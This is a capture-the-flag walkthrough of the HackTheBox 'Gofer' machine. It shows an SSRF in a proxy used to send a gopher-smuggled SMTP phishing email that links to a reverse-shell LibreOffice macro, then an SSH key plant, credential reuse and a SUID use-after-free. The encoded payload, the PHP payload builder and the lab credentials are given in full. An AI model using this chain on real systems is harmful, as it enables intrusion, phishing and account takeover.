Gofer

INTRODUCTION

At the time of writing this walkthrough, this is Gofer is still active. It was released as the seventh box for HTB’s Hackers Clash: Open Beta Season II. Gofer is labeled as a “Hard” Linux box, but in reality it was probably closer to medium difficulty. This box centers around a fictional company that provides web development and web design services, although, given the security breach you’re about to dive into, perhaps they should transition to a different line of work. All in all, Gofer is very pleasant to run: the creator of the box clearly put great care into constructing a whole narrative and fictional context for the box. A little bit of enumeration, a few intelligent guesses, and a good knowledge of a few web tricks will gain you foothold

title picture

RECON

nmap scans

For this box, I’m running the same enumeration strategy as the previous boxes in the Open Beta Season II. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to my target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan.txt $RADDR
Nmap scan report for 10.10.11.225
Host is up (0.17s latency).
Not shown: 65530 closed tcp ports (reset)
PORT    STATE    SERVICE
22/tcp  open     ssh
25/tcp  filtered smtp
80/tcp  open     http
139/tcp open     netbios-ssn
445/tcp open     microsoft-ds

Filtered smtp? That’s notable. There’s also SMB, SSH, and http

nmap -sV -sC -n -Pn -p22,25,80,139,445 -oN nmap/script-scan.txt $RADDR
Nmap scan report for 10.10.11.225
Host is up (0.17s latency).

PORT    STATE    SERVICE     VERSION
22/tcp  open     ssh         OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 aa:25:82:6e:b8:04:b6:a9:a9:5e:1a:91:f0:94:51:dd (RSA)
|   256 18:21:ba:a7:dc:e4:4f:60:d7:81:03:9a:5d:c2:e5:96 (ECDSA)
|_  256 a4:2d:0d:45:13:2a:9e:7f:86:7a:f6:f7:78:bc:42:d9 (ED25519)
25/tcp  filtered smtp
80/tcp  open     http        Apache httpd 2.4.56
|_http-title: Did not follow redirect to http://gofer.htb/
|_http-server-header: Apache/2.4.56 (Debian)
139/tcp open     netbios-ssn Samba smbd 4.6.2
445/tcp open     netbios-ssn Samba smbd 4.6.2
Service Info: Host: gofer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2023-07-31T10:54:43
|_  start_date: N/A
|_clock-skew: -13s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: GOFER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

There’s an http redirect to http://gofer.htb`. Also, it looks like the OpenSSH they’re using is a little out of date. Next, I did a slower port and script scan just to be sure I got everything (excuse the length):

sudo nmap -sV -sC -n -Pn --top-ports 4000 -oN nmap/top-4000-ports.txt $RADDR
# No new results

Webserver Strategy

Noting the redirect from the nmap scan, I added gofer.htb to /etc/hosts and did banner grabbing on that domain:

echo "$RADDR gofer.htb" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb $RADDR && curl -IL http://$RADDR

whatweb

Next I performed vhost and subdomain enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt"
DOMAIN=gofer.htb
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No results from vhost enumeration of the base domain (gofer isn’t in the wordlist). We know gofer.htb exists, so I’ll check for vhosts under that as well:

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.gofer.htb" -c -t 60 -o fuzzing/vhost-gofer.md -of md -timeout 4 -ic -ac -v

vhost fuzzing

Ok, so proxy.gofer.htb is a result. I’ll add that to my /etc/hosts file:

echo "$RADDR proxy.gofer.htb" | sudo tee -a /etc/hosts

With that done, I’ll move on to subdomain enumeration:

ffuf -w $WLIST -u http://FUZZ.$DOMAIN -c -t 60 -o fuzzing/subdomain.md -of md -timeout 4 -ic -ac  -v
# No new results

Following my usual strategy, I proceeded with directory enumeration on http://gofer.htb:

Note: When I first ran directory enumeration, I got lots of nuisance 403 results with 20 words each, so those are filtered out in the following ffuf command

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words.txt"

ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-root -of json -e php,asp,js,html -timeout 4 -v -fw 20

Directory enumeration against http://gofer.htb/ gave the following:

directory enum 1

Now let’s try http://proxy.gofer.htb:

Note: When I first ran directory enumeration, I got lots of nuisance 403 results each with size of 462B or 280B, so those are filtered out in the following ffuf command

ffuf -w $WLIST:FUZZ -u http://proxy.$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 1 -c -o ffuf-directories-proxy -of json -e php,asp,js,html -timeout 4 -v -fs 462,280
# No results

Exploring the Website

The website itself looks like a very nice landing page for some business. It’s a great template (I really like the Portfolio section!). Not much more than that though. There’s a contact form, but it isn’t connected to anything.

index page

Aside from that, I also found http://proxy.gofer.htb. That site uses basic http authentication. If I don’t find another way in, it might be worthwhile to brute-force this login 🚩

proxy

SMB (TCP ports 139 & 445)

nmap --script "safe or smb-enum-*" -p 445 $RADDR

Some less-useful results are omitted:

Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-31 17:12 IDT
Pre-scan script results:
| targets-asn: 
|_  targets-asn.asn is a mandatory parameter
...
PORT    STATE SERVICE
445/tcp open  microsoft-ds
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
...
| smb-protocols: 
|   dialects: 
|     2:0:2
|     2:1:0
|     3:0:0
|     3:0:2
|_    3:1:1
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
...

Try nmblookup:

nmblookup -A $RADDR
Looking up status of 10.10.11.225
        GOFER           <00> -         B <ACTIVE> 
        GOFER           <03> -         B <ACTIVE> 
        GOFER           <20> -         B <ACTIVE> 
        ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> 
        WORKGROUP       <00> - <GROUP> B <ACTIVE> 
        WORKGROUP       <1d> -         B <ACTIVE> 
        WORKGROUP       <1e> - <GROUP> B <ACTIVE> 

        MAC Address = 00-00-00-00-00-00

Try nbtscan:

nbtscan $RADDR/30

No useful result. How about running the nbtstat nmap script?

sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n $RADDR
PORT    STATE SERVICE    VERSION
137/udp open  netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
Service Info: Host: GOFER

Host script results:
| nbstat: NetBIOS name: GOFER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   GOFER<00>            Flags: <unique><active>
|   GOFER<03>            Flags: <unique><active>
|   GOFER<20>            Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  WORKGROUP<1e>        Flags: <group><active>

Next I’ll try enum4linux, which usually provides a lot of info:

enum4linux $RADDR

[TODO: Make this into an collapsible block]

Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Jul 31 17:27:14 2023

 =========================================( Target Information )========================================= 
Target ........... 10.10.11.225                                                                           
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

 ============================( Enumerating Workgroup/Domain on 10.10.11.225 )============================
[+] Got domain/workgroup name: WORKGROUP                                                                                                 
================================( Nbtstat Information for 10.10.11.225 )================================ Looking up status of 10.10.11.225                                                                                 GOFER           <00> -         B <ACTIVE>  Workstation Service
        GOFER           <03> -         B <ACTIVE>  Messenger Service
        GOFER           <20> -         B <ACTIVE>  File Server Service
        ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
        WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
        WORKGROUP       <1d> -         B <ACTIVE>  Master Browser
        WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections
        MAC Address = 00-00-00-00-00-00

 ===================================( Session Check on 10.10.11.225 )===================================
[+] Server 10.10.11.225 allows sessions using username '', password ''                                           
 ================================( Getting domain SID for 10.10.11.225 )================================
Domain Name: WORKGROUP                                                                                   Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup                                                                                                                            
 ===================================( OS information on 10.10.11.225 )===================================
                                                                                      
[E] Can't get OS info with smbclient                                                                                                                                                       
[+] Got OS info for 10.10.11.225 from srvinfo:                                                                                                                                                       
        GOFER          Wk Sv PrQ Unx NT SNT Samba 4.13.13-Debian                                                                                                                                     
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03
 =======================================( Users on 10.10.11.225 )=======================================
Use of uninitialized value $users in print at ./enum4linux.pl line 972.                                   
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.
Use of uninitialized value $users in print at ./enum4linux.pl line 986.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.

 =================================( Share Enumeration on 10.10.11.225 )=================================
smbXcli_negprot_smb1_done: No compatible protocol selected by server.                                     
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        shares          Disk      
        IPC$            IPC       IPC Service (Samba 4.13.13-Debian)
Reconnecting with SMB1 for workgroup listing.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.10.11.225                                                             //10.10.11.225/print$   Mapping: DENIED Listing: N/A Writing: N/A                                         //10.10.11.225/shares   Mapping: OK Listing: OK Writing: N/A
[E] Can't understand response:                                                                           NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*                                                                //10.10.11.225/IPC$     Mapping: N/A Listing: N/A Writing: N/A
 
============================( Password Policy Information for 10.10.11.225 )============================
[+] Attaching to 10.10.11.225 using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
        [+] GOFER
        [+] Builtin
[+] Password Info for Domain: GOFER
        [+] Minimum password length: 5
        [+] Password history length: None
        [+] Maximum password age: 37 days 6 hours 21 minutes 
        [+] Password Complexity Flags: 000000
                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0

        [+] Minimum password age: None
        [+] Reset Account Lockout Counter: 30 minutes 
        [+] Locked Account Duration: 30 minutes 
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: 37 days 6 hours 21 minutes 

[+] Retieved partial password policy with rpcclient:                                                     Password Complexity: Disabled                                                                             Minimum Password Length: 5
 =======================================( Groups on 10.10.11.225 )=======================================
[+] Getting builtin groups:                                                                               [+]  Getting builtin group memberships:                                                                   [+]  Getting local groups:                                                                               [+]  Getting local group memberships:                                                                     [+]  Getting domain groups:                                                                               [+]  Getting domain group memberships:                                                                                                                                       
 ==================( Users on 10.10.11.225 via RID cycling (RIDS: 500-550,1000-1050) )==================
[I] Found new SID:                                                                                       S-1-22-1                                                                                                 [I] Found new SID:                                                                                      S-1-5-32                                                                                                 [I] Found new SID:                                                                                       S-1-5-32                                                                                                 [I] Found new SID:                                                                                       S-1-5-32                                                                                                 [I] Found new SID:                                                                                       S-1-5-32          

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''                               
S-1-5-32-544 BUILTIN\Administrators (Local Group)                                                         
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''                               
S-1-22-1-1000 Unix User\jhudson (Local User)                                                             
S-1-22-1-1001 Unix User\jdavis (Local User)
S-1-22-1-1002 Unix User\tbuckley (Local User)
S-1-22-1-1003 Unix User\ablake (Local User)

[+] Enumerating users using SID S-1-5-21-510552225-995404492-4015181936 and logon username '', password ''                                                                                           
S-1-5-21-510552225-995404492-4015181936-501 GOFER\nobody (Local User)                                     
S-1-5-21-510552225-995404492-4015181936-513 GOFER\None (Domain Group)
 ===============================( Getting printer info for 10.10.11.225 )=============================== 
No printers returned.                                                                                     
enum4linux complete on Mon Jul 31 17:39:55 2023

Some important things to glean from this output are:

  • Users are jhudson, jdavis, tbuckley, ablake
  • Groups are Administrators, Users, Guests, Power Users, Account Operators, Server Operators, and Print Operators.
  • The SMB share shares can be explored.
  • There are two domains: GOFER and WORKGROUP

Correlating this with the website’s Team section, we now know who is who:

  • tbuckley is Tom Buckley, the CTO
  • jdavis is Jeff Davis, the CEO
  • jhudson is Jocelyn Hudson, the product manager
  • ablake is Amanda Blake, the accountant

Next let’s try connecting to the SMB shares, one of which is literally called “shares”:

smbclient //$RADDR/shares

I provided an empty password:

smb 1

Naturally, I downloaded the file: get mail.

This mail backup file seems like it holds a clue. Also a mention of the proxy I discovered earlier:

From jdavis@gofer.htb Fri Oct 28 20:29:30 2022 Return-Path: jdavis@gofer.htb X-Original-To: tbuckley@gofer.htb Delivered-To: tbuckley@gofer.htb Received: from gofer.htb (localhost [127.0.0.1]) by gofer.htb (Postfix) with SMTP id C8F7461827 for tbuckley@gofer.htb; Fri, 28 Oct 2022 20:28:43 +0100 (BST) Subject:Important to read! Message-Id: 20221028192857.C8F7461827@gofer.htb Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST) From: jdavis@gofer.htb

Hello guys,

Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That’s why from now on, I’ve decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt format, as documents saved in Office Word are not always well interpreted by Libreoffice.

PS: Last thing for Tom; I know you’re working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seems to me that it should be possible to do so via

Some inferences to be made are:

  • Keep an eye out for Libreoffice Writer / .odt files.
  • SMTP ID is C8F7461827
  • The web proxy is under construction and may be vulnerable.

SMTP (TCP port 25)

First, I’ll banner-grab the SMTP server by contacting with nc:

nc -nv $RADDR 25

No result (probably because the port is filtered). I’ll try nmap scripts just in case

nmap -p25 --script smtp-* $RADDR -v
NSE: Loaded 9 scripts for scanning.
...
Host is up (0.17s latency).
PORT   STATE    SERVICE
25/tcp filtered smtp
NSE: Script Post-scanning.
Initiating NSE at 07:48
Completed NSE at 07:48, 0.00s elapsed

Defeat Proxy Authentication

I’ll try getting through that simple http authentication that is required on http://proxy.gofer.htb. Since I already have a short list of usernames, I’ll just run hydra with those usernames and rockyou for passwords:

cat knownusers.txt
# ablake
# jhudson
# jdavis
# tbuckley
USERS=knownusers.txt
PASSWDS=/usr/share/wordlists/rockyou.txt
hydra -L $USERS -P $PASSWORDS -t 64 proxy.gofer.htb http-get "/"

This will take a very long time (a few hours) to complete. If I had to bet, this isn’t the correct route.

What about authentication bypass? First, are there any web tricks for getting past this authentication? I’ll go through this Hacktricks page and see if anything works.

First, I’ll try all the HTTP verbs against http://proxy.gofer.htb:

for T in `echo "GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK" | sed 's/,//g'`; do echo "\n\nTrying $T\n"; curl -X $T http://proxy.gofer.htb; done

No luck. What about trying that list of Headers provided in the Hacktricks page? I put all of the headers they mentioned into a text file, one line each, and looped through it:

while read H; do echo "\n\nTrying $H\n"; curl http://proxy.gofer.htb -H "$H"; done < headers.txt

Alright, I’ll try one of the automated tools then. I grabbed a copy of byp4xx and started running it. It was taking quite a while so I added a timeout and extra flags:

./byp4xx -m 1 -t 16 -xD http://proxy.gofer.htb

No result. hmm…

While reading through this Hacktricks page (and the readme files of the tools it links to), I’m realizing that a lot of these methods depend on requesting a specific page/resource. I’ll try repeating what I already did, but check for an index page this time:

for E in "/" "/index" "/index.html" "/index.php"; do 
	for T in `echo "GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK" | sed 's/,//g'`; do 
		echo "\n\nTrying $T $E\n"; 
		curl -X $T "http://proxy.gofer.htb$E"; 
		sleep 1; 
    done;
done;

There were some interesting results:

...

Trying OPTIONS /index.html
<!-- [this result was blank] -->

Trying POST /index.php
<!-- Welcome to Gofer proxy -->
<html><body>Missing URL parameter !</body></html>

Trying PUT /index.php
<!-- Welcome to Gofer proxy -->
<html><body>Missing URL parameter !</body></html>

Trying DELETE /index.php
<!-- Welcome to Gofer proxy -->
<html><body>Missing URL parameter !</body></html>

...

Missing the URL parameter, eh? Alright, I’ll stand up a local webserver, serving a simple index.html of my own.

sudo ufw allow from $RADDR to any port 8000 proto tcp
python3 -m http.server 8000
curl -X POST http://proxy.gofer.htb/index.php?URL=http://10.10.14.8:8000/index.html
<!-- Welcome to Gofer proxy -->
<html><body>Missing URL parameter !</body></html>

Ok, maybe they mean that it needs to be in the POST body?

curl --proxy 127.0.0.1:8080 -X POST http://proxy.gofer.htb/index.php --data-urlencode "URL=http://10.10.14.8:8000/index.html"

Maybe they’re careless with capitalization?

curl -X POST http://proxy.gofer.htb/index.php?url=http://10.10.14.8:8000/index.html

local webserver index

😎 That was it! The proxy is expecting a parameter in the form url=[request address]. It looks like my local webserver received that as a GET request:

local webserver index  1

Reading Files on the Target

Now that I know the proxy can be used to relay GET requests, what we have is essentially an SSRF vulnerability. Maybe let’s try grabbing a file with it?

file disallowed

Nope! It won’t be that easy. What about something just a little more sneaky, like base64-encoded data?

data disallowed

Still nope. Other things I tried:

  • double url-encode file://
  • url-encode just a portion of file://
    • Caused a 408 Request timeout
  • Put a null byte in the middle
  • try a data:// url
    • This keyword is also blacklisted

Hmm… now every request is leading to a 408 Request Timeout. I wonder what has gone wrong. I’ll let it sit for a while, and maybe reset the box later.

I’ll try putting a file onto the server, just a test page. If this is successful, I’ll try a PHP webshell or reverse shell too.

PUT attempt

It didn’t mention any error. But trying to navigate to the page shows that it was not successful. Trying the same thing with test.php has the same result.

FOOTHOLD

SMTP over SSRF

As shown in the nmap scans, SMTP on port 25 was filtered when accessing it from the outside. But now that I can bounce requests off of http://proxy.gofer.htb, maybe it will be possible to contact SMTP? I found a bug report for Imgur where a clever security researcher was exploiting a very similar vulnerability in Imgur’s “video-to-gif” service. They managed to use Imgur’s servers for several kinds of traffic over a very similar SSRF - including SMTP.

In their exploit, they crafted a malicious php file containing some SMTP commands to send an email, and a redirect header to use GOPHER protocol to send the SMTP commands to an upstream SMTP server, which would in turn send the email to the defined recipient.

The fact that they used GOPHER protocol seems like a big hint 👀

Roughly following the example they provided, I created a php file and hosted it from a python webserver running on my attacker machine:

<?php
        $commands = array(
                'HELO gofer.htb',
                'MAIL FROM: <tbuckley@gofer.htb>',
                'RCPT TO: <jhudson@gofer.htb>',
                'DATA',
                'Test mail <a href="http://10.10.14.8:8000/clickme">http://10.10.14.8:8000/clickme</a>',
                '.'
        );
        $payload = implode('%0A', $commands);
        header('Location: gopher://smtp.gofer.htb:25/_'.$payload);
?>

But the big question now is… how will I know if it worked? And what does this even gain? It looks like there is a hint in that mail backup that I found earlier, about Jocelyn:

“Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That’s why from now on, I’ve decided that important documents will only be sent internally, by mail”

I wonder if the box is set up so that any mail sent to Jocelyn will have it’s links clicked? I’ll try including a link in the email. I wouldn’t say it’s very likely, but if I get a request to my python webserver running locally for GET /clickme, then I’ll know it worked.

clickme email

smtp.php is requested from my local python webserver, but /clickme is never requested. I think it’s fair to say it did not work. Maybe “Jocelyn” knows to only open links to an .odt file? That might be the case, but first I need to craft a malicious .odt file containing some code that will let me know if it was opened.

LibreOffice Macro

The best way to do this is to make a .odt file but also stick a macro inside. The macro should run whenever the document is opened, with no further interaction necessary. But first, the macro itself can be a simple reverse shell, but also with a wget to let me know if it ran. I tested this locally, then changed the isLocal variable to False. To open this window, I used Tools > Macros > Organize Macros > Basic, added Module to the current document, then wrote the code:

revshell macro

Now that it’s written, I just need to make it so the macro runs whenever the document opens. Close the macro editor window and go to Tools > Macros > Organize Macros > Basic, then choose the macro and click Assign:

assign macro

Assign it to the Event of Open Document:

assign macro 2

I closed LibreOffice, started up a socat listener, then tried opening the memo.odt file I had just created. I caught the reverse shell and saw the request to /itworked arrive at my local webserver, so I think it works. However, I had to modify the LibreOffice security settings to allow macros to run, setting Macro security settings to Low. All I can do is hope that Jocelyn has already done this🤞

In the case that the Macro Security setting is NOT set to “low”, there is a CVE that I might be able to exploit to get past this (It effective bypasses the certificate check that is used to tell if a macro is trusted or not).

To try testing this idea incrementally, I set up a netcat listener on port 4444 and tried the request shown on the hacktricks page. While the request timed out, I did get a hit at my netcat listener, and it looked like a properly formed SMTP request. In this request, I’m basically using a copy-paste of the payload shown on the SSRF Hacktricks page for gopher:

stupid shit 1

Alright, that seemed mildly successful… Let’s try adapting it to be more specific to what is needed for this box:

stupid shit 2

Great. It’s now addressed to Jocelyn, from Tom. Also, it contains a link to the memo.odt document. If all goes according to plan, Jocelyn will “click” it.

Huh? Now the box is trolling me? 😞 This attempt is largely based on the SSRF page on Hacktricks, but with a little workaround to avoid the blacklisted “/127”:

trolling

I don’t like all of this double url-encoding. Plus, editing the payload inside Burp is not very fun. I’ll go back the the PoC in the Imgur bug report and write the construction of the request into a php script. However, I’ll change one aspect: As shown on the Hacktricks SSRF page, there is no need to have the payload wrapped inside a Location header; I can simply include it as part of the url parameter.

Here is the PHP script that assembles the payload. This payload is just for testing, so I’m directing the “smtp” request at my own machine’s socat listener on port 4444 (could have done a nc listener or a tcpdump for this purpose, too):

<?php
    $addr = "10.10.14.4:4444";
    $localaddr = "http://10.10.14.4:8000/memo.odt";
    $commands = array(
        'HELO gofer.htb',
        'MAIL FROM: <tbuckley@gofer.htb>',
        'RCPT TO: <jhudson@gofer.htb>',
        'DATA',
        'Subject: Important memo',
        'Please urgenetly read the memo: <a href="' . $localaddr . '"> ' . $localaddr . ' </a>',
        '.'
    );
    $payload = implode('%0A', $commands);
    echo "gopher://" . $addr . "/_" . urlencode($payload);
?>

To improve consistency between attempts at deploying this payload, I started up a simple PHP server and utilize this script within the curl command to deploy the payload:

php -S 127.0.0.1:8001
curl --proxy 127.0.0.1:8080 -X POST http://proxy.gofer.htb/index.php?url=`curl localhost:8001/smtp.php`

From my socat listener, I see the result. Looks good so far 👍

smtp attempt test

Now, I’ll change the target address in the PHP script, send the command and hope for the best!

    $addr = "0.0.0.0:25";
    $localaddr = "http://10.10.14.4:8000/memo.odt";

😵 WHAT! It actually worked! After about a minute of waiting, it seems like Jocelyn “clicked” the link, and my macro worked:

smtp success 1

smtp success 3

This was the successful request:

smtp attempt 1

For copy-pasting: this was the url parameter:

gopher://0.0.0.0:25/_HELO+gofer.htb%250AMAIL+FROM%3A+%3Ctbuckley%40gofer.htb%3E%250ARCPT+TO%3A+%3Cjhudson%40gofer.htb%3E%250ADATA%250ASubject%3A+Important+memo%250APlease+urgenetly+read+the+memo%3A+%3Ca+href%3D%22http%3A%2F%2F10.10.14.4%3A8000%2Fmemo.odt%22%3E+http%3A%2F%2F10.10.14.4%3A8000%2Fmemo.odt+%3C%2Fa%3E%250A.

USER FLAG

Upgrade the Shell

First things first, let’s upgrade this shell:

SHELL=/bin/bash script -q /dev/null
[ ctrl + z ]
stty raw -echo; fg
[ enter enter ]
export TERM=xterm-256color

The initial prompt showed that jhudson has mail. I checked it, but it’s just a single blank line. Maybe a remnant of my exploit? Maybe related to the way that the box has scripted jhudson to check their mail and “click” a link? I don’t know.

Grab the Flag

Let’s see who has the flag:

cd /home
find . -type f -name "user.txt
# ./jhudson/user.txt
# find: ‘./tbuckley/.local/share’: Permission denied

Great! Jocelyn has the flag. Simply cat it out for the points:

cat /home/jhudson/user.txt

SSH Access

This shell I have as jhudson is good. Command history, tab completion, colors - it’s really quite nice! But since my internet access is a little flaky, I’d like to see if I can use SSH instead. I’ll try planting a key into jhudson. First, on the attacker machine, generate a key and get the base-64 encoded version of the pubkey:

ssh-keygen -t rsa -b 4096 
# called it jhudson_id_rsa and used password "password"
chmod 700 jhudson_id_rsa
base64 -w 0 jhudson_id_rsa.pub > jhudson_id_rsa.pub64
cat jhudson_id_rsa.pub64 # [ copy the output to clipboard ]

Then on the target machine, as jhudson, put the key into authorized_keys

mkdir /home/jhudson/.ssh
echo "[ paste ]" | base64 -d > /home/jhudson/.ssh/authorized_keys

Then from the attacker machine, log in using the key that was generated:

ssh as jhudson

Excellent! Now I don’t have to bother with the exploit again if I lose my connection 🍒

ROOT FLAG

User Enumeration: jhudson

I’ll follow my usual Linux User Enumeration strategy. To keep this walkthrough as brief as possible, I’ll omit the actual procedure of user enumeration, and instead just jot down any meaningful results / findings.

  • sudo is not present.

  • Some useful programs present on the box are: nc, netcat, curl, wget, python3, perl, php

  • netstat -tulpn did not identify any services not previously known, but it did show that there are other listening processes that jhudson does not have access to.

  • There is a notable SUID binary: -rwsr-s--- 1 root dev 17168 Apr 28 16:06 /usr/local/bin/notes

  • Pspy found a cron-scheduled process running: pspy

  • Linpeas found some neat things too:

    • Can sniff SMTP using tcpdump (Maybe credential re-use?)

    • gdb was found on the PATH

    • /proc/sys/kernel/yama/ptrace_scope is enabled (0) means I can run ptrace on binary!

    • Found an Apache password hash: /etc/apache2/.htpasswd:$apr1$YcZb9OIz$fRzQMx20VskXgmH65jjLh/

      • This is probably the proxy password

        -rw-r--r-- 1 root root 47 Nov  3  2022 /etc/apache2/.htpasswd
        tbuckley:$apr1$YcZb9OIz$fRzQMx20VskXgmH65jjLh/
        

        However, pspy already found this credential: tbuckley : ooP4dietie3o_hquaeti

    • Also flagged that SUID binary as unknown: -rwsr-s--- 1 root dev 17K Apr 28 16:06 /usr/local/bin/notes (Unknown SUID binary)

    • There’s something odd about write as well: write sus

I’ll check the easy stuff first. I’ll verify the proxy.gofer.htb password that was recovered. Then, maybe tbuckley got lazy and re-used their proxy.gofer.htb credential for ssh (which would be really bad, because it was transmitted over http in plaintext!)

proxy password verified

Yup! The credential works for http://proxy.gofer.htb, so there’s no point in cracking that Apache .htpasswd hash. Now let’s check for credential re-use:

tbuckley ssh

Tom!!! You should not be CTO! 😱

Super! Tom’s SSH credential is verified: tbuckley : ooP4dietie3o_hquaeti

User Enumeration: tbuckley

Since tbuckley is the CTO, it’s likely that he has more privileges than jhudson. Again, I’ll omit the actual procedure of user enumeration, and instead just record any meaningful results / findings.

  • still no sudo available.

  • tbuckley is in special group: 1004(dev)

    • The only file that belongs to dev is that suspicious SUID binary: /usr/local/bin/notes 🚩

      💡 I think the way forward is pretty clear: I need to use gdb to use this notes binary to escalate privilege

  • tbuckley has access to nc, netcat, curl, wget, python3, perl, php

Analyzing “notes”

It seems like it would probably be easiest to analyze the notes binary on my attacker machine, so I’ll transfer the file. First, set up a listener:

sudo ufw allow from $RADDR to any port 4445 proto tcp
nc -lvnp 4445 > notes

Then transfer the file from the target:

nc -nv 10.10.14.4 4445 < /usr/local/bin/notes

On both machines, verify the checksum:

sha256sum notes

👍 The hashes match, so I’ll check out the binary on my attacker machine now.

Right away, I see the functionality that should probably be accessed:

notes in ida

Alright, so if the role is already set to ‘admin’, then we have the ability to choose option 8 and backup /opt/notes to /root/backups/backup_notes.tar.gz

To set the role, this code is used. It checks the UID and sets the role either to ‘admin’ (bottom-left pane) or to ‘user’ (next to bottom-left pane):

notes in ida 2

Why not try out the application and use it “like I am supposed to” a few times, to get a feel for how it works?

The program works by prompting the user with this menu:

notes in console

  • By selecting 1, typing a name, then selecting 2, you can see your username and your ‘role’. My goal for the first part of exploiting this will be to somehow set my ‘role’ to admin.
  • By selecting 4, entering a word, then selecting 5, you can read back the word (note) that you entered. Really high tech stuff.
  • Selecting 3 deletes the user. But subsequently selecting 2 shows that the role is not deleted. Also, in the place of where the username would be, there is just some junk data!

Alright, it’s clearly not super well written. Knowing that, let’s see what kind of weird behaviour I can coax out of it. Consider the following sequence of actions:

(1) Choose a username: anybody # provide any name
(2) # shows Username = anybody, Role = user
(3) # Delete the user
(4) Write your note: test # make any note
(2) # shows Username = test, Role = [blank]

Well that’s not right! Why did that happen? Look at the code for option (1) (follow the panes with the selected/cyan header):

notes in ida 3

…allocates all 40 bytes, then it zeros-off 24 bytes for the username and 16 bytes for the role. Then it fills the role variable according to UID, then it fills the username with the provided string.

A bit of an aside: You can prove this to yourself by seeing that a 24-character username choice (which is 25 with the null byte) actually pre-selects the menu option: notes in console 2 ☝️ It used the final “4” as the menu option, without prompting.

Here’s the code for option (3), to delete a user:

notes in ida 4

…all it does is free the memory used for the username. After that, selecting option (4) and writing a note follows this code:

notes in ida 5

…it allocates more memory, and zeros if off, but it does all this without checking if there is a user currently. If the memory that stored the username / role has just been freed, it’s available for the malloc in the option (4) code to claim. This is a classic use-after-free vulnerability.

Exploiting “notes”

As a result of the use-after-free vulnerability shown above, I can probably set BOTH my username and role by providing a note that is 24 + length(‘admin’) = 29 bytes long, and it must end in the letters ‘admin’. I’ll try using 123456789012345678901234admin:

(1) Choose a username: anybody # provide any name
(3) # Delete the user
(4) Write your note: 123456789012345678901234admin # 29 bytes long, ends with 'admin':
(2) # shows Username = 123456789012345678901234admin, Role = admin

notes in console 3

🍰 Perfect! That little trick got me the admin role.

Now I’ll get back onto the target machine and try the same thing:

notes in console 4

Interesting… Removing leading slashes from member names? This effectively turns them into relative paths. I wonder if I could run the binary from an alternate location and set up some kind of directory traversal. 🤔

To investigate, I’ll try running pspy while using option (8) to backup the notes:

pspy backup operation

🤦‍♂️ oh DUH! Why had I not seen that earlier when I was staring right at it in IDA. The notes program is running tar without using an absolute path! This is practically begging for path abuse.

